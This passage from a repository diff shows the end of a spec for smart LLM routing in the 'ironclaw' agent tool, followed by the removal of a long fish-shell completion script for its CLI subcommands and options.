| 3. Pattern overrides | Power users | Custom `routing.overrides` |
| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` |
| 5. Own API keys | Power users | `backend: anthropic` + `api_key` |
## Implementation Plan
1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`)
2. [x] Implement router wrapper (`src/llm/smart_routing.rs`)
3. [x] Extend config schema (`src/config.rs`)
4. [x] Wire into provider creation (`src/llm/mod.rs`)
5. [x] Add telemetry/logging
6. [x] Tests with real conversation samples
7. [x] Codex + Gemini security review
8. [x] Documentation updated (this spec)
## Expected Outcomes
- **50-70% cost reduction** for typical usage patterns
- **Faster responses** for simple requests
- **Zero config required** for default benefits
- **Full control** for power users who want it
-3053
View File
File diff suppressed because it is too large Load Diff
-455
View File
@@ -1,455 +0,0 @@
# Print an optspec for argparse to handle cmd's options that are independent of any subcommand.
function __fish_ironclaw_global_optspecs
string join \n cli-only no-db m/message= c/config= no-onboard h/help V/version
end
function __fish_ironclaw_needs_command
# Figure out if the current invocation already has a command.
set -l cmd (commandline -opc)
set -e cmd[1]
argparse -s (__fish_ironclaw_global_optspecs) -- $cmd 2>/dev/null
or return
if set -q argv[1]
# Also print the command, so this can be used to figure out what it is.
echo $argv[1]
return 1
end
return 0
end
function __fish_ironclaw_using_subcommand
set -l cmd (__fish_ironclaw_needs_command)
test -z "$cmd"
and return 1
contains -- $cmd[1] $argv
end
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s V -l version -d 'Print version'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l skip-auth -d 'Skip authentication (use existing session)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l channels-only -d 'Reconfigure channels only'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s o -l output -d 'Output path (default: ~/.ironclaw/config.toml)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l force -d 'Overwrite existing file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s f -l filter -d 'Show only settings matching this prefix (e.g., "agent", "heartbeat")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s n -l name -d 'Tool name (defaults to directory/file name)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l capabilities -d 'Path to capabilities JSON file (auto-detected if not specified)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s t -l target -d 'Target directory for installation (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l release -d 'Build in release mode (default: true)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l skip-build -d 'Skip compilation (use existing .wasm file)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s f -l force -d 'Force overwrite if tool already exists'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s d -l dir -d 'Directory to list tools from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s d -l dir -d 'Directory to remove tool from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the secret (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l client-id -d 'OAuth client ID (if authentication is required)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l auth-url -d 'OAuth authorization URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l token-url -d 'OAuth token URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l scopes -d 'Scopes to request (comma-separated)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l description -d 'Server description' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the token (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s u -l user -d 'User ID for authentication (default: "default")' -r
